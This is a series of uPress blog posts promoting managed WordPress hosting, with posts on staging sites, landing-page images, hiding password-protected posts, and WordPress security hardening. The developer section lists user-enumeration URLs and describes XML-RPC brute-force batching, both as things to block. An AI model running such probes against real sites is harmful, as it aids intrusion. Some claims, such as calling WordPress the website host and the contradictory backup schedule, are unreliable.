If you are a WordPress beginner you might be wondering, what is managed WordPress hosting?

Managed WordPress hosting is a hosting service that manages all the technical aspects of your WordPress site. The goal of managed WordPress hosting is to have WordPress experts support you in the areas you need extra help so you can focus on the parts of your business, blog or project that you know and love. Think of it as your own personal IT department.

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Some of the services included in managed WordPress hosting are:

• WordPress theme, core, and plugin updates
• Regular site backups
• Fine-tuning site performance and speed
• Scanning for malware and other security issues
• Quickly creating new websites
• Building and managing staging sites
• Website migration

What sets managed WordPress hosting apart from regular hosting?

WordPress is your website host, meaning the server and physical location of your website. While WordPress is responsible for managing the overall maintenance of the server, they do not cover the individual technical needs of your personal WordPress site.

Managed WordPress hosting, on the other hand, means that the host takes care of all your website's technical needs. Keep in mind that not all website hosting is managed hosting, so unless you are paying specifically for a managed WordPress hosting service, it is probably not included.

If you have read about different types of website hosting, you may have come across shared hosting as a lower-cost option. Why go with managed WordPress hosting if it costs more? The short answer is, you get what you pay for.

Shared website hosting features websites on all different platforms, not just WordPress, which means that in order to accommodate everyone, the hosting environment needs to be simplified. This can pose a number of issues from potential security risks to your site running slowly, depending on the other sites sharing your host.

Unlike shared website hosting, managed WordPress hosting is designed to handle WordPress sites specifically, which allows for greater customization and understanding of your exact technical needs.

Do you need managed WordPress hosting?

Managed WordPress hosting is a great service, but whether or not you need it is dependent on how much traffic your WordPress site gets, how much technical knowledge you have and how much time and money you have at your disposal. If you are a serious techie or on a tight budget, managed WordPress hosting may not be for you.

For owners of small businesses or high traffic blogs looking to expand and lack the time or technical skills to deal with all that comes with running a WordPress website, Managed WordPress hosting is a great resource.

Managed WordPress hosting may be more costly than other options, but if you factor in potential website crashes and security breaches that could affect business, it is a service that pretty much pays for itself. Not to mention the added stress relief of knowing your WordPress site is in good hands.

The pros and cons of managed WordPress hosting

If you are on the fence about whether or not you need managed WordPress hosting, weighing the pros and cons might help you make an informed decision.

Pros

• Increased website security
• Managed WordPress expert support
• Lightning speed
• Free dev tools/staging site
• Automatic updates/backups

Cons

• Price
• Limited to WordPress sites, does not support external non-WordPress code
• Email service and domain names not always included

Advantages of using managed WordPress hosting

Still not sure if managed WordPress hosting is for you? Let's break down some of the services included in managed WordPress hosting to help you make up your mind.

Lightning speed

Managed WordPress hosting servers are built to handle high levels of traffic, meaning as your business grows, it will not be at the cost of your site's speed. So feel free to scale up without worrying about slowing down.

Expert Support

Managed WordPress hosting means having your own team of WordPress experts at your service at all times. Unlike shared hosts, these experts know WordPress front to back and can advise you on all things tech. No longer will you be left wondering how to fix a bug or which plugins to avoid, your personal managed WordPress council has you covered.

Automatic updates and backups

Managed WordPress hosting teams are constantly figuring out how to best optimize your site via proxy content distribution network (CDN) centers and server-level caching, so you don't have to worry about staying on top of the latest plugins for site-level caching. They can also help you remove unnecessary plugins, which means lower security risks.

Managed WordPress hosting should also include automatic backups to ensure your peace of mind every step of the way.

Security

Managed WordPress hosting increases security on your site to the point that a hacking attempt is basically just a waste of time. Managed WordPress hosting provides features including but not limited to active spyware and malware scanning that help boost security specifically in areas of weakness that hackers know to look for on WordPress.

As mentioned above, managed WordPress hosting also ensures that your WordPress core, theme, plugins, etc. are all up to date, which is also extremely important to your site's security. On the off chance that a hacker is somehow able to bypass all of these measures, your managed WordPress hosting team will help you through the recovery process.

Development Tools

Managed WordPress hosting includes tools that help you to best develop your site. These tools may differ depending on your host, but one example of a dev tool is a WordPress staging site which is basically a clone of your website where you can test out different themes and design features before taking them live.

Additional benefits

While we covered some of the top benefits of managed WordPress hosting, you can also look forward to many other perks from tools that help you monitor web traffic and customer behavior, to simple website conversion, among many others. Managed WordPress hosting ultimately allows you to scale your business by providing you the best support and tools to do so.

What is the cost of managed WordPress hosting?

What is managed WordPress hosting going to cost? Managed WordPress hosting does cost more than unmanaged hosting, but the service you receive with managed WordPress hosting is at least equal to that of a system admin or tech support, which you would likely need to hire without WordPress experience.

Service admins, as opposed to managed WordPress hosting experts, generally do not have the same level of experience with WordPress specifically. This means that plugin updates and overall maintenance will still likely be left to you, which takes time and leaves room for error. Even one site crash or security issue could end up costing you more than managed WordPress hosting.

Managed WordPress hosting also ultimately allows you to scale your website by providing you the best support and tools to grow your business in ways that would take much more time and effort on your own. Think of managed WordPress hosting as a shortcut to a successful web presence, which we all know can’t be bad for business.

As managed WordPress hosting experts, we know what we're talking about, whether you need advice on the pros and cons of regular vs. managed hosting, you want to know which plugins are critical, or you're finding that your site is slow and you need help troubleshooting. You can trust us with the entire gamut of WordPress questions, so the only one left is... why aren't we hosting your WordPress site yet?

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Setting up a staging site (essentially a clone of your site) is a great way to test changes before taking them live. A WordPress sandbox is a staging environment in which you can modify your site freely without worrying about a mistake negatively affecting your site availability or your business.

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Let's take a look at everything you need to know about WordPress sandbox to get you on track to start innovating.

Dangers to look out for when you make changes on a live site

Even the smallest tweaks on a WordPress site can have a big impact. Until you test these changes, you can't be sure how they will affect your site. Whether you are updating plugins or trying out a new theme, one wrong move can lead an entire site to crash. A site crash may be the worst-case scenario, but there are a number of other risks involved in implementing changes before testing them.

Some other potential consequences of working on your WordPress site in a live environment are:

• Broken website design
• Drop in search engine ranking
• Slow website load speed
• Loss of visitors and potential business
• Putting sensitive information at risk of exposure

WordPress website management is much more difficult when you do not know the potential issues that may arise with each adjustment you make to your site. The risks of working on your site in a live environment definitely outweigh the rewards, which is why you should have a staging site for all your WordPress development.

What is a staging site?

A staging site, or sandbox site, is an exact copy of your WordPress site in which you can experiment with modifications before taking them live. The staging site helps you catch errors in code or simply test different design elements without modifying your actual site. Whether you want to try out a new feature, update widgets or plugins, or make a major change, the staging site provides an environment in which you can do so safely.

While some users download WordPress locally on their devices to test changes before adding them to their live site, this may not always give accurate results. Certain changes made on the local server may not run the same way on the live server, leading to unforeseen errors.

Unlike the local WordPress server, the staging site runs on the same server configuration as your live site, so you will not run into any new issues when you are ready to take the changes from the staging environment to the live environment.

In short, the WordPress sandbox or staging site is a space for you to explore new things and figure out what works best on your site.

How to set up a staging site for WordPress

There are a number of options when it comes to setting up a WordPress staging site, some of which are more complicated than others. The best solution is dependent on your level of website management expertise. We have outlined the different ways to set up a WordPress Sandbox to help you get started.

Setting up a staging site through your WordPress host

If you are using a WordPress hosting service, a staging site may be offered as part of your package. If so, this is the easiest and most reliable way to set up your staging site. As managed WordPress hosting experts at uPress, for example, we provide a built-in sandbox, so you don't have to do any of the heavy lifting.

Another advantage to this option is that once you have decided which change you would like to take live, your managed WordPress host will also ensure that this process runs smoothly. Additionally, you'll usually be able to access your staging site in one click from within your dashboard or control panel.

This sandbox option offers the most convenience and the least headache, but it may be more costly than the other sandbox options below. On the other hand, if you anyway want other features included in managed WordPress hosting, the inclusion of the sandbox may just make the deal even sweeter.

Setting up a staging site with a WordPress plugin

If you do not use a WordPress hosting service, or your hosting service does not include a staging site, there are a number of WordPress plugins that can help you create a staging site. While this may be a cheaper option, there are some downsides.

For one, if you are using a WordPress hosting service in addition to a staging plugin, there might be compatibility conflicts as the plugin will not have full access to your hosting server.

Another potential issue with using a plugin is that the data from your staging site will be saved on the plugin's server. If your site contains sensitive data, such as customer information, this option may not provide the level of security you are looking for.

If you do want to go with a WordPress plugin for your staging site, you can download one from the WordPress plugin directory. The process of creating your staging site will differ depending on which plugin you decide to download.

Set up local installation

If you would like to set up an offline staging site, local installation is an option. Keep in mind that, unlike the other options for setting up a staging site, only those with access to your computer will be able to use a local staging site.

There are multiple free applications you can download to help you set up a local hosting environment on your computer, such as Local or Bitnami. Each application will differ slightly but will walk you through the setup process once you have downloaded.

While this option is cheap, the downside is that you will have to transfer your live site to your local staging site. This means that you will have to manually add any plugins or themes that you use on your live site, which takes more time than the previous options and also needs more technical know-how.

Setting up a staging site for WordPress manually

This option is more complicated than the others and is not recommended for WordPress beginners. To manually create a WordPress staging site, you will need to create a subdomain, an FTP account, import your database and hide your staging site. If any of the steps are not completed correctly, it could cause problems on your live site, which kind of defeats the purpose of a staging site to begin with.

If you do decide to manually set up your staging site, implementing the changes to your live site later is also a lengthier process with its own set of drawbacks.

Unless you are an experienced WordPress manager, this is probably not the option for you.

Tips for best using a sandbox

Once you have chosen the best option for setting up your staging site, the fun can begin. Think of the sandbox as exactly that: a place to play on your site with whatever different themes, plugins and design ideas you want. Feel free to explore the world of WordPress and expand your site’s horizons. The WordPress sandbox protects your site from any security breaches or crashes so you can keep your site up-to-date and in line with your newest business ideas, without risking any crashes or design disasters.

Once you are ready to deploy your changes to your live site, depending on which option you are using for your staging site, you should be able to do so quickly and easily. Most WordPress hosts and some plugins allow you to deploy changes with the click of a button.

All the world's a staging site... so go became a player.

As managed WordPress hosting experts, we know what we're talking about, whether you're asking what is a WordPress sandbox, why you need it and how to use it for website management. You can trust us with the entire gamut of WordPress questions, so the only one left is... why aren't we hosting your WordPress site yet? Click below and join us.

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The post A WordPress Sandbox: What it is, Why You Need it and How to Use it appeared first on uPress.

Let's take a look at five different ways to choose the best possible visuals for your landing pages, along with some illustrative examples to set you on the right track.

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Illustrate Your Brand

The main purpose of your landing page visuals is to showcase what your brand is about. No matter how well you construct your copy, the images you choose will always speak a little bit louder and convey more meaning.

For starters, try to find words that describe your brand best. Is it sophisticated, edgy, traditional, relaxed, hip? Once you are satisfied with your choice, you can judge each visual element by this merit. Does it match your brand's tone and voice well enough?

Take a look at the solution Spores has come up with. As their actual product is difficult to define, they have chosen a custom image that speaks volumes about the brand: cutting-edge, futuristic, tech-based, and innovative.

Source: spores.app

None of these words appear anywhere on the page, though. You're aware of them based on that single landing page image.

Animate Your Visuals

To make your visuals more dynamic and more engaging, you can literally make them move. Animated images, like gifs, are a great way to draw the eye in and add more interest to any page.

You'll have to be careful, however, and make your animated visual WordPress-appropriate. Compress it to make it as light as possible and make sure your servers can handle the load.

Naturally, the animation should also be on-brand and illustrate a specific point on the page. Let's take a look at how Aura has chosen their moving image.

Source: goaura.com

They feature an astronaut, which, at first glance, may have nothing to do with Amazon sales. However, the allusion is easy to spot: take your sales to the Moon and beyond with Aura's solutions.

Make the Data Easier to Digest

Visuals are also a great way to help your visitors digest complex or long-winded streams of data. If your landing page would benefit from data visualization, you can use an infographic to help your visitors get a better hang of whatever it is you're trying to convey.

Other than ensuring that the information you're displaying is correct and up-to-date, the infographic itself should, once again, load fast. It should also incorporate some of your brand's colors and use a font that's aligned with your message and voice.

You can use a free tool like Canva to create this infographic – it doesn't have to be anything spectacular. Its main purpose is to make information easily digestible and more visually appealing.

Reckenen has done some great infographics over the years, and this one on the impact of fraud on small businesses is a great one to try to emulate. It's short but conveys a lot of information, and the brand's overarching design theme has been implemented excellently.

Make Them Colorful

Another way to choose your landing page images is to think about the color story.

The method to employ is along the lines of “keep them on brand.” Start by landing on the kinds of emotions you want to evoke with your visuals, and go from there.

You'll already have noticed that most eco-friendly brands choose to use a green color palette. A lot of SaaS companies use blue, as it's supposed to suggest trustworthiness and knowledge. Purple is often considered a color that fun brands use, and so on.

You can also mix your colors and use a combination to achieve your desired effect. For instance, Scott's Cheap Flights has used turquoise and pink to evoke that sense of paradise we all wish to embrace on our holidays.

Source: scottscheapflights.com

Their illustration is rather simple but very on-brand and in line with their key messaging.

Use Real People

Finally, you can choose visuals that feature real people. This choice is best when you want to establish a deeper connection with your visitors and make them feel part of a group.

Human faces can also show a lot of emotion that will be easy to relate to. So, for example, you might choose to use stressed and anxious faces to illustrate a pain point, and smiling and relaxed faces to showcase your solutions.

Bear in mind that it's always best to reach for images of people who make up your target audience. For example, if you are marketing to an older audience, don't use young couples on your landing pages, and vice versa.

Furthermore, you can use the photos of your actual customers and clients. User-generated content is an effective way to both add a layer of social proof and showcase your products or services.

Skillcrush has used illustrative images of real people on their landing page to make themselves more relatable and approachable.

Source: skillcrush.com

It's much easier to identify with a young woman learning to code than an abstract illustration of the computer language.

Final Thoughts

Using visuals on your WordPress landing pages can make them much more effective and much more appealing to any target audience. The key is to consider what the best choice would be and how to ensure that it is on-brand.

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Have you ever wondered if there's a way to publish content on your WordPress blog that's only visible to certain people, instead of sharing every single post with the whole world?

If so, we’re happy to tell you that it's possible. You just need to learn about private pages in WordPress and how to create one using a password.

What is a private page in WordPress?

Many people ask what is a private page in WordPress, either because they see the options on their WordPress editor or they hear other people talking about it. A private page in WordPress is essentially a page or post that can only be read by selected visitors to your site. One of the easiest ways to make a private page in WordPress is by using a password.

What is a private page in WordPress that's password-protected?

As part of its content management system, WordPress comes with a number of basic content visibility options, but most novice users don't notice them.

While you write a new post or page and go to publish it, you'll see a heading "Visibility". By default, this is set to public, but if you click Edit then several other options will appear. One of them is "Password protected".

When you click "Password protected," you'll see an option to add a password to the post. Once you've done this, only visitors who have the right password will be able to read the post.

If you set your WordPress post to Private, then only users who have Editor or Admin status will be able to read it.

You can do the exact same thing for WordPress Pages.

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How to hide WordPress posts entirely

Although only selected visitors can read your private or password-protected posts, they still show up on your homepage and in search results, even though the average guy on the internet can’t read the actual content.

But there is a way to hide these posts entirely so that they don't even show up in search or on the homepage. It does involve a little code, but our step-by-step guide makes it easy.

1. Copy the code below.

// Hide protected posts

function exclude_protected($where) {
	global $wpdb;
	return $where .= " AND {$wpdb->posts}.post_password = '' ";
}

// Where to display protected posts
function exclude_protected_action($query) {
	if( !is_single() && !is_page() && !is_admin() ) {
		add_filter( 'posts_where', 'exclude_protected' );
	}
}

// Action to queue the filter at the right time
add_action('pre_get_posts', 'exclude_protected_action');

2. Go to your WordPress menu and hover over “Appearance.” In the menu that appears, click "Editor."
3. On the right-hand side of the screen, you'll see "functions.php" or "Theme functions." Click this to go to the code editor.
4. Now paste the code that you copied into the code editor and click Save.

That's all it takes. Now your private and protected posts will be totally hidden.

If you want to share a password-protected post with someone, just send them the URL of the post together with the password they need to access it. 

Now you know what is a private page in WordPress and how to create one easily.

As managed WordPress hosting experts, we know what we're talking about, whether you need simple information about private and password protected pages, or you want the whole lowdown on security and what you can do to protect your site. You can trust us with the entire gamut of WordPress questions, so the only one left is... why aren't we hosting your WordPress site yet? Click below and join us.

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Every website owner's biggest concern is securing a managed WordPress hosting website.

According to research by w3techs in March 2019, WordPress is by far the most popular Content Management System (CMS). 60.4% of websites that use a CMS use WordPress, or around 3.5% of all websites.

That means that there are millions of website owners concerned about securing their managed WordPress hosting. You've probably heard the myth that WordPress sites experience a lot of attacks and hacking opportunities because WordPress isn’t secure, but the likeliest reason is simply down to the numbers. WordPress has more reported security issues and hacked websites because it makes up such a large percentage of CMS hosted websites. This gives more incentive for hackers to search for security flaws and exploits in WordPress websites, because they have so many more potential targets.

WordPress, as a system, and especially its core files, are highly secure. They are regularly maintained and frequently updated by hundreds of programmers who are part of the open-source WordPress community. Actually, a significant proportion of WordPress security problems usually result from human error, like a managed WordPress hosting site that wasn't configured currently or WordPress sites updates that were poorly maintained.

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In this guide we'll discuss the best maintenance and security advice for securing your managed WordPress hosting website.

WordPress Security should be taken seriously

Fun Fact – On a weekly basis Google adds more than 20,000 websites to their blacklist for malicious content, and more than 50,000 websites for phishing.

* This guide is aimed at WordPress websites hosted on a Linux server, but maybe relevant for managed WordPress hosting on Windows servers as well.

This section is aimed at website owners using managed WordPress hosting or who are handling their own WordPress site management, and want to set everything up with the greatest possible level of security.

Choose secure themes and plugins

When your site uses managed WordPress hosting, you're benefiting from the large community of dedicated web developers who keep WordPress free and open-source. The CMS may look like a single unit, but it's actually made up of two main components:

• The core WordPress code
• Themes and plugins installed by the user

The immense success of WordPress generated a huge plugins and themes repository, made by third-party developers and companies worldwide. These plugins connect to your core WordPress site, adding features and functionality to your managed WordPress hosting site

WordPress has tens of thousands of plugins and themes. It's crucial to choose ones which are actively managed, with owners who regularly release updates and provide support. Just like core WordPress updates, plugin and theme updates help fix known security issues, close loopholes that hackers could exploit, and make sure that your site is as secure as possible. An old plugin that no longer receives active support is an open door for hackers.

* A note on premium/paid plugins and themes that are not available through the WordPress plugin repository:

Paying for a plugin or theme outside of the WordPress plugin market does not guarantee its quality and security. All too often, these premium plugins and themes aren't updated regularly, or at all. Even when they are updated, the process is usually complicated and has to be done manually.

We highly recommend using only plugins and themes from the official WordPress plugin repository that were developed by well-known companies and are kept updated, for your managed WordPress hosting or self-hosted site. This will go a long way to preventing any security issues, since these plugins and themes were thoroughly checked to make sure they don’t contain any malicious code, and are kept in line with security issues.

Select strong usernames and passwords

Picking a unique username

It’s crucial to pick a secure username for your managed WordPress hosting or self-hosted website. If you use "admin" as your username, you are basically doing half the job for hackers targeting your website.

This is probably one of the most important and easy steps you can take to secure your website and prevent unnecessary risks.

Selecting a secure password

A Brute Force attack is one of the most common hacking methods. It's when hackers just try out hundreds of passwords, hoping that they'll get lucky and hit on the one you used for your account. The harder it is to guess your password, the less likely it is that this kind of attack would succeed.

Astrovector / Shutterstock

That’s why it's so important to create a long and complicated password for your website. When we say "for your website," we mean your WordPress dashboard, your FTP accounts, databases, WordPress managed hosting, the email you use to recover your site, and anything else tied to your website. If you’re using managed WordPress hosting, make sure that you generate a different unique password for every account.

There's a surprising number of WordPress users that use phrases such as "password" or "12345678" as their password. These passwords, along with birth dates, ID numbers, and phone numbers, are easy to guess and will be among the first that bots or hackers will try.

Many website owners don't like to use long and complicated passwords simply because they're hard to remember. A good solution is to use a complete sentence that makes sense only to you (and even misspelling a word on purpose) and so it is much easier to remember. These kinds of passwords are much better than a single-phrase password (although only replacing letters with numbers is not secure enough).

Another solution would be to use a password manager that generates and stores unique secure passwords. That way you only have to remember one secure password; the one for your password manager.

If you’re composing the passwords yourself, it's recommended to use at least 8 characters, and include at least one of each of the following:

• Numbers (1-9)
• Lower case letters (a-z)
• Upper case letters (A-Z)
• Special characters (!@#$%^ etc).

Never reuse a password you’ve used in the past! The ideal password is unique and hard to guess based on easily accessed information.

Enforce strict permission management

Run a strict and clear policy with your user permissions so that only people who really need it can get access to your WordPress dashboard. If you are using managed WordPress hosting or have a large team of designers, editors, SEO managers etc. make sure you understand their roles before giving them permission to make changes to your website.

WordPress has the following user roles and their permissions:

• Subscriber – A user that is registered to your website can only access their own personal profile.
• Contributor – A user with permission to edit and manage their own posts, but who can't publish any content.
• Author – User with permission to edit, manage, and publish their own posts.
• Editor – User with permission to edit, manage, and publish their own and other users’ posts and pages, but without permission to access “sensitive” areas of the dashboard.
• Administrator – User with permission and access to view and change all WordPress dashboard areas and every feature and option.
• Super Administrator – (Only available on Multisite installs) User with permission to access and manage all the websites on a Multisite network.

* Themes and plugins can add or remove roles.

Limit the number of failed login attempts

A mentioned above, Brute Force attacks are carried out by hackers or bots trying to guess your password. If there's no restriction to the number of failed login attempts, the attacker can keep trying indefinitely until they manage to guess the correct password and access the dashboard.

When you set a limit to the number of failed login attempts before the system automatically blocks the attacker’s IP from accessing the website, you cut these attackers off from your site.
One of the easiest ways to set this up for self-hosted or managed WordPress hosting is using a plugin called Limit Login Attempts Reloaded. It’s available for download from the official WordPress plugin repository.

uPress customers: The plugin WeSafe is installed by default on all the websites on our servers and performs this action.

Enable Two-factor authentication

Two-factor authentication means that everyone logging in has to enter a unique one-time code that the WordPress site sends via email or SMS, or generates on another device. Two-factor authentication can significantly improve website security for your managed WordPress hosting site and provides an extra layer of defense.

DG-Studio / Shutterstock

One of the easier ways to do this for your managed WordPress hosting site is by using the Google Authenticator plugin that's available for download from the official WordPress repository. It offers two-factor authentication via a mobile app.

After installing everything, you log in to your WordPress site with your username and password. You'll be requested to enter a 6 digit code from the mobile app. The code changes every 30 seconds and can be generated only on the app that is paired with your user account.

Please note: In order for this to work, you must have the Authenticator app installed on your smartphone.

Encrypt your information with TLS (TLS/SSL Certificate)

When you or your managed WordPress hosting team add or alter anything on your site, the information is transferred from one server to another. Hackers could intercept that information stream and use it to steal data or hack into your site. But a TLS certificate encrypts the data so that if it was intercepted, no hacker would be able to read it.

The TLS certificate is based on unique encryption keys installed on the website’s server. Your computer can only decrypt the information using those encryption keys.
You can acquire a TLS certificate for free with most hosting providers, using Let's Encrypt.

Upress customers: You can install a TLS certificate from the security tab in our management panel.

A secure WordPress site begins with a secure setup

Data security in self-managed and managed WordPress hosting websites is a sensitive topic that should not be taken lightly, especially when you’re dealing with a website containing sensitive information. Each and every one of the tips and methods mentioned above will take you one step closer to a safe, secure website. When you begin with a secure foundation, you'll find it much easier for you or your managed WordPress hosting team to keep your site secure for the long term.

As managed WordPress hosting experts, we know what we're talking about, whether you need advice on preventative maintenance, ensuring security, or you just want to know what's slowing down your site. You can trust us with the entire gamut of WordPress questions, so the only one left is... why aren't we hosting your WordPress site yet? Click below and join us.

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The post The Complete WordPress Security Guide Part 1 appeared first on uPress.

Security is top of the list of concerns for website owners. You want to protect your company's business data, and you need to comply with data and privacy regulations to make sure that your customers' details aren't breached.

This makes secure managed WordPress hosting a crucial issue, but there are also other steps you need to take to protect your website. We've already discussed the vital foundations that you need to lay to set up a secure website, but it doesn’t end there.

Building a secure WordPress hosting or self-managed site is the first and critical step in keeping your website protected from hackers and malicious actors, but maintenance is crucial too. This section discusses tips to help you to keep your WordPress site secure over the long term.

* This guide is aimed at WordPress websites hosted on a Linux server, but maybe relevant for secure WordPress hosting on Windows servers as well.

Keep WordPress up to date

Both your core WordPress and your plugins and themes need to be kept up to date if you want secure WordPress hosting and a safe website.

WordPress developers regularly upgrade the system to improve it in different ways. They add new features, improve its stability and performance, and enhance existing feature performance in order to stay up to date with today's standards.

Most importantly, updates also fix bugs that were found since the previous release, as well as adding proactive security fixes and improvements.

WordPress is an open-source system that is widely available online, so every security issue in older releases are well known across the internet and are easy prey for hackers who target old and out-dated software. For example, security experts Sucuri recently wrote about a security breach called XSS that was fixed by WordPress version 5.1.1. If your WordPress version is out of date, its security flaws are well known and are easier for attackers than to try and find new flaws and exploits in newer WordPress versions.

That's why it's so important to regularly update your site to the latest version of WordPress.

By default, WordPress automatically installs minor updates, but for major releases you must enable the Automatic Updates feature in the Systems Update menu.

Irina Strelnikova / Shutterstock

Additionally, you should never perform any changes to WordPress' core files for your secure WordPress hosting site. Because updating WordPress usually deletes your changes, it makes you less likely to want to carry out updates, and that will directly impact your website security and lead to potential security breaches and other issues in the future.

uPress Customers: The main dashboard shows 2 toggles for automatic updates under the WordPress tab, one for the core WordPress releases and another for plugin updates. Toggle them both to "On."

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Closely monitor activity on your website

Another way to ensure secure WordPress hosting for your site is to closely monitor crucial activities that happen in the management area, both in real-time and past activity. That's not something you can handle manually, so you'll need a logging plugin that'll run in the background and document every action.

When you utilize these plugins as part of your secure WordPress hosting, you’ll always be able to see which users logged on to your website, what they edited, which changes were made, what plugins were added/removed, which media files were uploaded, which configuration changes were made, and more. It helps you correct mistakes that could leave your secure WordPress hosting site vulnerable to attack, and spot suspicious behavior that could be a sign of malicious action.

To do all this, you can use the plugin ARYO Activity Log, which is available for download from the official WordPress plugin repository.

Keep regular backups

A good, trustworthy backup system is the first tool in your secure WordPress hosting arsenal against WordPress security exploits. Remember, no website is 100% secured at all times, so you need a way to fix everything if the worst should happen and your site gets hacked.

Bear in mind that government and international corporate websites are hacked into on a daily basis, so your smaller website is vulnerable too. Having an accessible backup allows you to quickly recover from a breach in your secure WordPress hosting by restoring your data from a version that is known to be secure and safe.

You can and should backup your WordPress websites in a few different places:

• At the server level. It's recommended to perform a daily backup for your secure WordPress hosting at least every 30 days, if not more often, and it's even better if the backups are stored on a different server.
• Using a trusted backup plugin. This is a less reliable option, but it can be a valid secondary backup system. There are a few free or premium plugins available, such as VaultPress or UpdraftPlus. We recommend using a plugin that can send backups to an external cloud storage service like Dropbox or One Drive.

Use the 3-2-1 rule: Keep at least 3 copies of the data, at least on 2 locations, and at least 1 copy off-site

Remove non-active plugins and themes

In August 2011, it was revealed that the popular script TimThumb was vulnerable to malicious exploits. TimThumb was and still is included in many popular WordPress plugins and themes. Within days we saw attackers using this vulnerability to their advantage, ranging from spamming WordPress sites with promotional material for other websites (SEO hijacking) to modifying PHP files that are stored on the server with random, meaningless characters at best, or even injecting other malicious code and exploits.

Most website owners didn’t realize that the script (and the malware) was running on their server and compromising their secure WordPress hosting. Some of them deactivated the problematic plugin or theme, but did not completely remove them. Deactivating the plugin or theme was meaningless and didn’t help at all, since the vulnerability remains as long as the problematic code exists on the server.

The Golden Rule for plugins and themes is if you’re not using a plugin or theme – delete it!

Block and prevent Bad Bots

Most hackers tend to send "spies" to check on a website before they start an attack. These are what we call "Bad Bots."

Bad Bots affect your website's performance, steal your content, occupy your valuable bandwidth, badly sabotage your website statistics, and most importantly, they look for security vulnerabilities in your secure WordPress hosting.

You can find a long list of bots that have been marked as "bad" at botreports.com. If you're using a security plugin or secure WordPress hosting service, you're probably already blocking the bots on this list.

uPress customers: There's a "block bad bots" toggle under the security tab in our management panel.

Understand the minimum requirements for a secure server

Your managed WordPress hosting service plays the most important part in securing your WordPress website, so it’s vital to find a secure WordPress hosting service.

A secure WordPress hosting company should:

• Closely monitor new and existing security threats around the web, taking extra measures to secure WordPress hosting servers.
• Be capable of withstanding a DDoS attack.
• Regularly maintain the core components of the server, frequently updating them to prevent any chance of security vulnerabilities.
• Offer a Disaster Recovery feature and a contingency plan, in case of an emergency.
• Support PHP version 7.2 and MySQL version 5.5 and up
• Completely separate between different users on a shared secure WordPress hosting service
• Run a built-in firewall, preferably WAF that offers options specifically for secure WordPress hosting, and a Network Intrusion Detection System that regularly scans website activity.
• Frequently scan websites on your secure WordPress hosting server and update you about them when necessary
• Enable you to track any file changes on your website.

Maintaining a secure WordPress site is an ongoing task

As you can see, setting up a secure WordPress site using secure WordPress hosting is important, but it's not enough to protect your website forever. Using a secure WordPress hosting service that meets certain requirements for a secure server goes a long way to helping you maintain your secure site, but you also need to take responsibility for keeping your WordPress version up to date and backed up, monitoring website activity, removing disused plugins and themes and blocking and preventing bad bots.

We hope you found this guide useful. Do you have anything to add, or want to give your own advice for securing a WordPress website? Or, if you have any questions about managed WordPress hosting in general, we'll be happy to hear from you!

As managed WordPress hosting experts, we know what we're talking about, whether you need advice on backups, plugins, or security. You can trust us with the entire gamut of WordPress questions, so the only one left is... why aren't we hosting your WordPress site yet? Click below and join us.

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Setting up and maintaining a secure WordPress site is a complex undertaking. When you're providing managed WordPress hosting services, your clients are relying on you to keep their website fully secure from hackers, malicious actors, and any security vulnerabilities.

Of course, you are welcome to review Part I and Part II of this series for all the tips in a comprehensive guide, but keep in mind that the first two installments are for a Non-Geek audience while this one is for web developers, so it's definitely solidly in the Geek category.

But you know that although WordPress core systems are highly secure, there are a lot of potential holes in plugins, themes, and updates that you need to close up, plus there's the ongoing risk that a user or WordPress admin could make changes that undermine all your hard work. Here are some of our tips for web developers, WordPress admin experts, and advanced programmers to build and maintain secure WordPress sites.

Note: This blog post is aimed at advanced WordPress developers and is written in Geek.

* This guide is aimed at WordPress websites hosted on a Linux server, but maybe relevant for a WordPress admin for sites hosted on Windows servers as well.

Disable the option to edit files from within the WordPress dashboard

By default, WordPress allows users to edit theme and plugin files through a dedicated code editor in the dashboard. In the wrong hands, this tool can be extremely dangerous and a massive security risk. An untrained but well-meaning WordPress admin could accidentally add arbitrary code to your plugin or theme, and that's why we recommend disabling this option completely.

It's far safer for a WordPress admin to edit code files only through an FTP client or a built-in file manager offered by your hosting provider.

To disable the option of editing the files through WordPress, add the following code to your website’s "wp-config.php" file. Make sure to add it above the lines /* That's all, stop editing! Happy blogging. */

define('DISALLOW_FILE_EDIT', true);

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Restrict access to the login/management areas

Hackers and malware try to access the wp-admin or wp-login.php areas of your website without any restrictions. If you control the firewall, we highly recommend restricting the access to these areas exclusively to the country you or your team are based in, or take it a step further and restrict it to certain IP addresses.

A WordPress admin can also protect these areas using a password on the server side that basically provides an extra layer of defense before the hacker/malware operator can access said areas. This is popular in Linux OS-based Apache servers.

Disable XML-RPC Protocol

The XML-RPC protocol is enabled by default in WordPress from version 3.5 and up to help remotely connect your WordPress website with other websites and services. Your WordPress admin might appreciate it, but it's a big security hole that can be used to attack your own or other websites.

For example, hackers or malware that try out 100 different passwords to access your account would have to make 100 separate attempts to login, giving your security systems the opportunity to recognize and block their attempts.

If XML-RPC is active, they can use the default-enabled function system.multicall to try thousands of different passwords in a far smaller number of attempts.

As a WordPress admin, you can limit the XML-RPC connection by:

• Blocking access to the xmlrpc.php file in your firewall or in your server configuration (eg. .htaccess or nginx.conf files).
• Installing a plugin like Disable XML-RPC, which is available for download through the official WordPress repository.

uPress Customers: there an XML-RPC toggle under the security tab which disables the protocol by default.

Apply a user protection program

By default, WordPress websites make it possible to access the user's post archive which lists all of their published posts. Bots can utilize this hole to read the user’s sensitive information by Brute Forcing their user-ID, like this:

https://www.domain.co.il/?author=1
https://www.domain.co.il/?author=2
https://www.domain.co.il/?author=3

We recommend that a WordPress admin blocks this path:

https://www.domain.co.il/?author=*

Another issue is that WordPress version 4.7 and up includes and enables Rest API by default, as part of the core WordPress components. The Rest API allows users to easily access information from a database on a remote server (e.g. a WordPress site) using HTTP, making it easier for hackers and malware operators who are trying to steal user information.

For example, following this URL:

https://www.domain.co.il/wp-json/wp/v2/users

generates an organized JSON output of all the users on your website and their information.

It's not possible to completely disable this feature, because part of it is used by WordPress and certain plugins like the new visual editor Gutenberg. Instead, we recommend your WordPress admin blocks sensitive paths that can be utilized by Rest API.

The WordPress admin can block it by:

• Using your firewall to block wp-json/wp/v2/users
• Using .htaccess or nginx.conf to block wp-json/wp/v2/users
• Using a plugin like Disable Rest API that allows you to block specific or all Rest API paths for non-logged-in users. The plugin is available for download from the official WordPress repository.

uPress customers: There’s a REST API toggle under the security tab.

Hide your WordPress version

WordPress automatically embeds a meta tag in your source code that contains information about the WordPress version you use.

<meta name="generator" content="WordPress 4.9.10">

This information is accessible to everyone, including hackers and malware. When they know which WordPress version your website is running, they can choose the best tactics to use against this specific version.

